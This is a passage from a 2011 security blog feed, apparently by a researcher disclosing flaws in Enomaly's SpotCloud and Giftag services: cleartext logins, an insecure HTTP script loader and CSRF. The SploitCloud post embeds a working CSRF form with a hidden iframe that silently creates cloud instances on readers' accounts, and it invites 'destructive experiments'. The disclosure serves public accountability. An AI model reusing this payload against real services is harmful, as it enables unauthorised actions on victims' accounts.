&lt;li&gt;Don't &lt;a href="http://groups.google.com/group/spotcloudbuyers/msg/237ffac277ea8bbe"&gt;publicly call researchers unethical&lt;/a&gt; for opting for &lt;a href="http://en.wikipedia.org/wiki/Full_disclosure"&gt;full disclosure&lt;/a&gt;, especially&amp;nbsp;when they do so because you have been reticent and unresponsive in the past&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://seclists.org/bugtraq/2009/Feb/142"&gt;release ineffective fixes&lt;/a&gt;, especially when the researcher has told you exactly how to fix it&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://samj.net/2010/02/private-cloud-security-is-no-security.html"&gt;dispute the vulnerability&lt;/a&gt; when a clearinghouse like &lt;a href="http://secunia.com/"&gt;Secunia&lt;/a&gt; contacts you to verify it&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://twitter.com/ruv/status/8623995916"&gt;criticise researchers&lt;/a&gt; for reviewing your product&lt;/li&gt;
&lt;li&gt;Don't&amp;nbsp;&lt;a href="http://www.elasticvapor.com/2008/11/v-for-vendetta.html"&gt;shoot the messenger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Don't&amp;nbsp;&lt;a href="http://www.elasticvapor.com/2008/11/v-for-vendetta.html"&gt;downplay critical vulnerabilities&lt;/a&gt;&amp;nbsp;as "&lt;i&gt;relatively minor&lt;/i&gt;", "random" paths as "&lt;i&gt;pretty hard to guess&lt;/i&gt;", etc.&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://samj.net/2010/02/private-cloud-security-is-no-security.html?showComment=1265232836593#c6024067410560428601"&gt;send in board members&lt;/a&gt; to fight your battles&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://samj.net/2010/02/private-cloud-security-is-no-security.html?showComment=1265232836593#c6024067410560428601"&gt;claim new products&lt;/a&gt;&amp;nbsp;having "&lt;i&gt;significant new and enhanced functionality&lt;/i&gt;" is a valid excuse&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="http://www.enomaly.com/High-Assurance-E.484.0.html"&gt;make security claims&lt;/a&gt; like "High Assurance" if you're not going to take security seriously&lt;/li&gt;
&lt;li&gt;Don't &lt;a href="https://spotcloud.appspot.com/terms"&gt;claim&lt;/a&gt; that "&lt;i&gt;Enomaly shall be entitled to (i) suspend or de-activate your account without notice, and (ii) retain any remaining funds in your account&lt;/i&gt;", and &lt;a href="http://3.bp.blogspot.com/-DMDtb1nYaew/Trp15BD8MiI/AAAAAAAAAY0/yCmWSKKOsZo/s1600/spotcloud-suspended.png"&gt;definitely don't actually do it&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
After my recent&amp;nbsp;&lt;a href="http://samj.net/2011/10/sploitcloud.html"&gt;SploitCloud: exploiting cloud brokers for fun and profit&lt;/a&gt; article and the follow-up&amp;nbsp;&lt;a href="http://samj.net/2011/11/retro-vulnerability-of-day-cleartext.html"&gt;Retro vulnerability of the day: cleartext passwords over the wire&lt;/a&gt; you'd have thought the publicly demonstrated vulnerabilities would have been quietly fixed and we'd have moved on. But no — they've decided instead to suspend my &lt;a href="http://www.spotcloud.com/"&gt;Spotcloud&lt;/a&gt; account so as I can't find any more holes, &lt;b&gt;keeping funds they were holding in trust for payment to third-party providers as "compensation"&lt;/b&gt; — something I'm more inclined to refer to as "theft":&lt;/div&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-DMDtb1nYaew/Trp15BD8MiI/AAAAAAAAAY0/yCmWSKKOsZo/s1600/spotcloud-suspended.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/-DMDtb1nYaew/Trp15BD8MiI/AAAAAAAAAY0/yCmWSKKOsZo/s1600/spotcloud-suspended.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
Enomaly have also not only failed to notify Spotcloud &lt;a href="http://groups.google.com/group/spotcloudbuyers"&gt;buyers&lt;/a&gt; and &lt;a href="http://groups.google.com/group/spotcloudsellers"&gt;sellers&lt;/a&gt; that they are vulnerable themselves, but moderated (e.g. deleted) my notification to them and banned me from the lists in the process:&lt;/div&gt;
&lt;div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-Kbx1w50mK_g/Trp0D54k9LI/AAAAAAAAAYs/ZZ0tIMoPLZE/s1600/spotcloud-banned.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"&gt;&lt;img border="0" height="88" src="http://1.bp.blogspot.com/-Kbx1w50mK_g/Trp0D54k9LI/AAAAAAAAAYs/ZZ0tIMoPLZE/s320/spotcloud-banned.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: left;"&gt;
If I were one of the (apparently few) users of the Spotcloud service then I'd be extremely dissatisfied, to say the least, that this information was being actively concealed from me. At the end of the day you owe it to yourselves and your users to only ever work with providers who take security seriously.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-3222780546887252598?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=SdzHbge3m_E:yEJ1bEDVToM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=SdzHbge3m_E:yEJ1bEDVToM:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=SdzHbge3m_E:yEJ1bEDVToM:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=SdzHbge3m_E:yEJ1bEDVToM:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=SdzHbge3m_E:yEJ1bEDVToM:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=SdzHbge3m_E:yEJ1bEDVToM:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=SdzHbge3m_E:yEJ1bEDVToM:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=SdzHbge3m_E:yEJ1bEDVToM:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=SdzHbge3m_E:yEJ1bEDVToM:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/SdzHbge3m_E" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-09T13:57:38.534+01:00</app:edited><media:thumbnail url="http://3.bp.blogspot.com/-NZ5bl11WncY/TrpsGvpLCiI/AAAAAAAAAYk/i4KzPvj4CKU/s72-c/11298030.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://samj.net/2011/11/how-not-to-respond-to-vulnerability.html</feedburner:origLink></item><item><title>Retro vulnerability of the day: cleartext passwords over the wire</title><link>http://feedproxy.google.com/~r/samj/~3/tH2u37wqw2I/retro-vulnerability-of-day-cleartext.html</link><category>cloud</category><category>enomaly</category><category>security</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Tue, 08 Nov 2011 18:19:18 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-7919074769421880079</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
While spending my Sunday looking at what people are doing with various cloud platform services I came across these 4 case studies on the &lt;a href="http://www.google.com/enterprise/cloud/appengine/pricing.html"&gt;Google App Engine (GAE) pricing page&lt;/a&gt;:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-N7nv6leVoRY/TraMVWix3vI/AAAAAAAAAWc/ztBbO7jK9Pk/s1600/appengine-users.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="80" src="http://1.bp.blogspot.com/-N7nv6leVoRY/TraMVWix3vI/AAAAAAAAAWc/ztBbO7jK9Pk/s640/appengine-users.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
Ignoring &lt;a href="http://www.webfilings.com/"&gt;WebFilings&lt;/a&gt; (who have an Amazon EC2 backend) and &lt;a href="http://www.gigya.com/"&gt;gigya&lt;/a&gt; (who have their own platform and only use GAE for their live chat applet), Best Buy caught my eye as I already &lt;a href="http://samj.net/2009/08/twitter-pro-best-buys-twelpforce-is.html"&gt;caught them sending employee credentials in the clear&lt;/a&gt; with the &lt;a href="http://bbyconnect.appspot.com/"&gt;Twelpforce&lt;/a&gt; GAE app written by Enomaly&amp;nbsp;a few years ago and Giftag was also done in "partnership" with Best Buy (whatever that means): "&lt;a href="http://www.elasticvapor.com/2008/04/enomaly-launches-giftagcom-for-bestbuyg.html"&gt;Enomaly Launches Giftag.com for Best Buy&lt;/a&gt;".&lt;br /&gt;
&lt;br /&gt;
I also stumbled on a &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;cross-site request forgery vulnerability&lt;/a&gt; in Enomaly's own flagship &lt;a href="http://www.spotcloud.com/"&gt;SpotCloud&lt;/a&gt; product earlier this year, which I wrote up last week — some 6 months after the initial report:&amp;nbsp;&lt;a href="http://samj.net/2011/10/sploitcloud.html"&gt;SploitCloud: exploiting cloud brokers for fun and profit&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Sure enough when you crack out &lt;a href="http://www.wireshark.org/"&gt;Wireshark&lt;/a&gt; and sniff the wire you can clearly see they're &lt;a href="http://en.wikipedia.org/wiki/Password#Simple_transmission_of_the_password"&gt;sending credentials in the clear over the public Internet&lt;/a&gt;, both at signup:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-K97SQ2MEaXU/TraSS4kvdJI/AAAAAAAAAWs/Yw7oBeySd2g/s1600/giftag-signup-capture-highlighted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="109" src="http://2.bp.blogspot.com/-K97SQ2MEaXU/TraSS4kvdJI/AAAAAAAAAWs/Yw7oBeySd2g/s640/giftag-signup-capture-highlighted.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
...and for good measure, on every login:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-6H_pgLa-VqY/TraSaexY-fI/AAAAAAAAAW0/D9XeF5jRP0E/s1600/giftag-login-capture-highlighted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="120" src="http://2.bp.blogspot.com/-6H_pgLa-VqY/TraSaexY-fI/AAAAAAAAAW0/D9XeF5jRP0E/s640/giftag-login-capture-highlighted.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
This wouldn't be such a problem were it not for &lt;a href="http://research.microsoft.com/apps/pubs/?id=74164"&gt;rampant password reuse&lt;/a&gt; — I would not be at all surprised if &lt;b&gt;most&lt;/b&gt; of the email/password combinations captured also worked on the email account itself. That is, by sniffing Giftag signups/logins you also have a good chance of a type of&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Privilege_escalation"&gt;privilege escalation&lt;/a&gt;&amp;nbsp;to the email account and from there to other services like Facebook:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://xkcd.com/792/" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-ulQrHjkF-4g/TraWbJt5pvI/AAAAAAAAAW8/f13fBXUDgBs/s1600/password-reuse-snipped.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;s&gt;To their credit(!?!), the other GAE case study application (&lt;a href="http://www.apmasphere.com/"&gt;Apmasphere&lt;/a&gt;, a property management application by Ray White, Australia's largest real estate group) exhibits exactly the same vulnerability, both at signup:&lt;br /&gt;
&lt;/s&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;s&gt;&lt;a href="http://2.bp.blogspot.com/-1ddUkBNDorw/TraYg3XmA3I/AAAAAAAAAXE/PE9_x2PNJGM/s1600/apmasphere-signup-capture-highlighted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="73" src="http://2.bp.blogspot.com/-1ddUkBNDorw/TraYg3XmA3I/AAAAAAAAAXE/PE9_x2PNJGM/s640/apmasphere-signup-capture-highlighted.png" width="640" /&gt;&lt;/a&gt;&lt;/s&gt;&lt;/div&gt;
&lt;s&gt;
&lt;br /&gt;
...and at login:&lt;br /&gt;
&lt;/s&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;s&gt;&lt;a href="http://1.bp.blogspot.com/-rt-tIXLcy5c/TraYpaR6CfI/AAAAAAAAAXU/s3elL_xj9cM/s1600/apmasphere-login-capture-highlighted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="130" src="http://1.bp.blogspot.com/-rt-tIXLcy5c/TraYpaR6CfI/AAAAAAAAAXU/s3elL_xj9cM/s640/apmasphere-login-capture-highlighted.png" width="640" /&gt;&lt;/a&gt;&lt;/s&gt;&lt;/div&gt;
&lt;s&gt;
&lt;/s&gt;
The moral of the story is that it doesn't matter how trivial your app is, given enough rope users will hang themselves by re-using passwords. As developers you owe it to your employers, clients and users to protect them from themselves, in this case by requiring SSL using Google App Engine's "&lt;code&gt;secure: always"&lt;/code&gt; configuration directive which was &lt;a href="http://googleappengine.blogspot.com/2008/10/announcing-https-support-for-appspotcom.html"&gt;introduced over 3 years ago&lt;/a&gt;. Very soon you'll also be able to &lt;a href="http://googleappengine.blogspot.com/2011/10/app-engine-ssl-for-custom-domains-in.html"&gt;use your own domains&lt;/a&gt; with SSL (rather than *.appspot.com) which, due to limitations in the protocol, is technically challenging to implement for a multi-tenant service at scale.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; While Best Buy's Giftag IP address is owned by Google (&lt;a href="http://whois.sc/209.85.145.121"&gt;according to whois&lt;/a&gt;) and runs on the Google platform (according to the &lt;code&gt;Server: Google Frontend&lt;/code&gt; HTTP header), the IP address for Ray White's Apmasphere is owned by Primus Telecommunications (&lt;a href="http://whois.sc/116.240.196.170"&gt;according to whois&lt;/a&gt;) and runs an Apache web server (according to the &lt;code&gt;Server: Apache&lt;/code&gt; HTTP header). Does anyone know whether one of the four main GAE case studies has indeed migrated to an in-house platform and if so, when and why? More to the point, is anyone aware of anyone doing anything of any consequence on GAE? I'm still looking for decent case studies of GAE native applications.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; Enomaly founder, Reuven Cohen &lt;a href="https://twitter.com/#!/ruv/status/133221009342992384"&gt;disavows the vulnerability&lt;/a&gt;, claiming "&lt;i&gt;Interestingly, the GAE version the giftag site wasn't developed by enomaly.&lt;/i&gt;" SFAICT the "GAE version" is the only version so in my opinion they're responsible or they're plagiarists — taking someone else's work or ideas and passing them off as one's own. I'll let you decide for yourselves:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://www.elasticvapor.com/2008/04/enomaly-launches-giftagcom-for-bestbuyg.html" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://3.bp.blogspot.com/-uG6LaZh-HGY/TrbBKTtAa2I/AAAAAAAAAXc/KHU2rnNTgBQ/s640/enomaly-announcement.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And 6 months later:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://www.elasticvapor.com/2008/09/bestbuys-giftagcom-getting-some-press.html" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="116" src="http://3.bp.blogspot.com/-nEO4pPIW42k/TrbCtMFs09I/AAAAAAAAAXk/LByYHQZKvKQ/s640/enomaly-giftag-press.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; The Giftag extension for Firefox is also vulnerable:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-bCTCYIGHA6E/TrnhVOsLLZI/AAAAAAAAAYc/e64sCrOaMhQ/s1600/giftag-extension.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="108" src="http://1.bp.blogspot.com/-bCTCYIGHA6E/TrnhVOsLLZI/AAAAAAAAAYc/e64sCrOaMhQ/s640/giftag-extension.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; Even the bookmarklet is vulnerable... if you add this to your toolbar and click on it then it will insecurely retrieve Javascript (gift-bookmarklet-loader.js) and execute it, &lt;i&gt;even within an SSL session&lt;/i&gt;. That is, an attacker can trivially execute trusted code that has full access to secure pages:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;javascript: (function () {
    var d = document;
    var s = d.createElement('script');
    s.id = "gt_boot";
    s.setAttribute('src', 'http://www.giftag.com:80/media/js/gift-bookmarklet-loader.js');
    d.getElementsByTagName('head')[0].appendChild(s);
})();&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-7919074769421880079?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=tH2u37wqw2I:hV3HVbRXFTQ:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=tH2u37wqw2I:hV3HVbRXFTQ:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=tH2u37wqw2I:hV3HVbRXFTQ:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=tH2u37wqw2I:hV3HVbRXFTQ:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=tH2u37wqw2I:hV3HVbRXFTQ:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=tH2u37wqw2I:hV3HVbRXFTQ:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=tH2u37wqw2I:hV3HVbRXFTQ:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=tH2u37wqw2I:hV3HVbRXFTQ:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=tH2u37wqw2I:hV3HVbRXFTQ:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/tH2u37wqw2I" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-11-09T03:19:18.267+01:00</app:edited><media:thumbnail url="http://1.bp.blogspot.com/-N7nv6leVoRY/TraMVWix3vI/AAAAAAAAAWc/ztBbO7jK9Pk/s72-c/appengine-users.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://samj.net/2011/11/retro-vulnerability-of-day-cleartext.html</feedburner:origLink></item><item><title>SploitCloud: exploiting cloud brokers for fun and profit</title><link>http://feedproxy.google.com/~r/samj/~3/E_nEQ_Ba4Wk/sploitcloud.html</link><category>cloud</category><category>enomaly</category><category>amazon</category><category>security</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Tue, 08 Nov 2011 17:42:58 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-8806411181035449310</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
My friends at &lt;a href="http://www.enomaly.com/"&gt;Enomaly&lt;/a&gt; have been &lt;a href="http://twitter.com/#!/ruv/status/129928434079109121"&gt;beating&lt;/a&gt; &lt;a href="http://twitter.com/#!/ruv/status/129929111526318081"&gt;up&lt;/a&gt; &lt;a href="http://twitter.com/#!/ruv/status/129934534870446080"&gt;on&lt;/a&gt; &lt;a href="http://aws.amazon.com/"&gt;Amazon Web Services (AWS)&lt;/a&gt; over the &lt;a href="http://dl.acm.org/citation.cfm?id=1103026"&gt;XML signature element wrapping&lt;/a&gt;&amp;nbsp;vulnerability currently being &lt;a href="http://www.theregister.co.uk/2011/10/27/cloud_security/"&gt;overhyped&lt;/a&gt; &lt;a href="http://www.fiercecio.com/techwatch/story/security-flaw-cloud-architectures-including-amazon-web-services/2011-10-28"&gt;by&lt;/a&gt; &lt;a href="http://www.pcworld.com/businesscenter/article/242598/researchers_demo_cloud_security_issue_with_amazon_aws_attack.html"&gt;the&lt;/a&gt; &lt;a href="http://www.networkworld.com/news/2011/102611-security-cloud-252406.html"&gt;press&lt;/a&gt;, which&amp;nbsp;is ironic given their &lt;a href="http://www.securityfocus.com/archive/1/archive/1/500573/100/0/threaded"&gt;security&lt;/a&gt; &lt;a href="http://www.securityfocus.com/archive/1/archive/1/500573/100/0/threaded"&gt;track&lt;/a&gt; &lt;a href="http://www.securityfocus.com/archive/1/500989"&gt;record&lt;/a&gt;&amp;nbsp;and unfortunate given I rather like what Amazon have achieved.&lt;br /&gt;
&lt;br /&gt;
Back in March I &lt;a href="https://groups.google.com/group/spotcloudbuyers/browse_thread/thread/1993b3ab1643bfa2"&gt;reported multiple vulnerabilities&lt;/a&gt;&amp;nbsp;in&amp;nbsp;&lt;a href="http://www.spotcloud.com/"&gt;SpotCloud&lt;/a&gt;&amp;nbsp;(including their having copied &lt;a href="http://www.daemonology.net/blog/2008-12-18-AWS-signature-version-1-is-insecure.html"&gt;Amazon's vulnerable signatures&lt;/a&gt; years after they were&amp;nbsp;&lt;a href="http://www.jamesmurty.com/2008/12/31/aws-query-signature-version-2/"&gt;reported and fixed&lt;/a&gt;) and I was told I was &lt;a href="https://groups.google.com/group/spotcloudbuyers/msg/237ffac277ea8bbe"&gt;unethical&lt;/a&gt; and my report that they "&lt;i&gt;may not validate incoming web and/or API requests and if so, may be vulnerable to cross-site request forgery in which an attacker could make unauthorised management requests on behalf of a user&lt;/i&gt;" was "&lt;a href="https://groups.google.com/group/spotcloudbuyers/browse_thread/thread/526fc1d60bfa6e95"&gt;unactionably vague&lt;/a&gt;".&lt;br /&gt;
&lt;br /&gt;
To demonstrate the severity of the outstanding vulnerability go grab yourself a &lt;a href="https://spotcloud.appspot.com/buyer/register"&gt;SpotCloud account&lt;/a&gt;, &lt;a href="https://spotcloud.appspot.com/buyer/balance/topup"&gt;charge it up&lt;/a&gt;&amp;nbsp;(ignoring &lt;a href="http://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard"&gt;PCI-DSS&lt;/a&gt; for a second given they're collecting credit card numbers via App Engine) and click the image below. I'll silently create an instance for you using a hidden IFRAME, but you're welcome to experiment with more destructive experiments like deleting existing instances and uploading malicious workloads.&lt;br /&gt;
&lt;br /&gt;
&lt;form action="https://spotcloud.appspot.com/buyer/instance/create" method="post" target="sploit"&gt;
&lt;input name="hardware" type="hidden" value="aglzcG90Y2xvdWRyEAsSCEhhcmR3YXJlGKy3BQyiAQMxLjI" /&gt;
  &lt;input name="cost" type="hidden" value="0.002" /&gt;
  &lt;input name="appliance" type="hidden" value="aglzcG90Y2xvdWRyDwsSB1BhY2thZ2UY3-UaDKIBAzEuMg" /&gt;
  &lt;input src="http://1.bp.blogspot.com/-BNxhJCNJl6M/TqrpnSCxHsI/AAAAAAAAAWU/UtAb1O7j3Z8/s320/pwn3d.jpg" type="image" /&gt;
&lt;/form&gt;
&lt;iframe align="center" border="0" frameborder="0" height="0" hspace="0" id="”sploit”" name="sploit" scrolling="auto" vspace="" width="0"&gt;&lt;/iframe&gt;
&lt;br /&gt;
&lt;strong&gt;Update:&lt;/strong&gt; If you look at the code you'll see the hourly rate is passed to the client as "&lt;b&gt;&lt;i&gt;cost&lt;/i&gt;&lt;/b&gt;" and presumably trusted on return (if not, why is it there?). I haven't seen a &lt;a href="http://www.symantec.com/connect/articles/common-security-vulnerabilities-e-commerce-systems"&gt;price manipulation vulnerability&lt;/a&gt; in over a decade, but I'm not tinkering with it because I don't fancy being accused of stealing from them or their providers.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt;&amp;nbsp;While the &lt;a href="http://dl.enomaly.com/scbuyerapi"&gt;consumer API&lt;/a&gt; now uses OAuth, the &lt;a href="http://dl.enomaly.com/scprovider"&gt;provider API&lt;/a&gt; still uses &lt;a href="http://www.daemonology.net/blog/2008-12-18-AWS-signature-version-1-is-insecure.html"&gt;Amazon's vulnerable signatures&lt;/a&gt; for authentication:&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&lt;code&gt;#sorts by key.lowercase(). ie A b c Dee e ffFf
sorted_keys = sorted(parameters.keys(), key=lambda k: k.lower())

#concatenates key,value pairs. a=1,b=2,C=32 becomes "a1b2C32"
data = ’’.join(key + parameters[key] for key in sorted_keys)

#Data is now: ecp_usernamespotcloudusernameparamAvalueTimestamp2006-12-08T07:48:03Z
digest = hmac.new(’spotcloudpassword’, data, sha).digest()&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
This may have been safe over SSL were it not for the fact that client libraries (including python) typically don't validate the certificate chain by default.
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; Wells Fargo reports "CHECK CRD PURCHASE SPOT CLOUD ETOBICOKE CD"&amp;nbsp;as "Unusual Activity" in emailed alert… canceling card, requesting re-issue. Should have used a virtual card. Wonder if Google know their&amp;nbsp;&lt;a href="http://googleappengine.blogspot.com/2011/03/enomaly-chooses-google-app-engine-for.html"&gt;App Engine poster child&lt;/a&gt; is using it to collect credit card details?&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; It is believed that &lt;a href="http://spotcloud.com/Private.50.0.html"&gt;Private SpotCloud&lt;/a&gt; and &lt;a href="http://www.enomaly.com/Product-Overview.419.0.html"&gt;Enomaly Elastic Computing Platform (ECP)&lt;/a&gt; are also vulnerable to &lt;a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery"&gt;cross-site request forgery&lt;/a&gt;, but without access to the software I have no way to verify.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; This is how Enomaly deals with security researchers:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-XwLZ56N2Gjg/TrnalAPJ9qI/AAAAAAAAAYU/SY57-4azetI/s1600/spotcloud-suspended.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-XwLZ56N2Gjg/TrnalAPJ9qI/AAAAAAAAAYU/SY57-4azetI/s1600/spotcloud-suspended.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-8806411181035449310?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
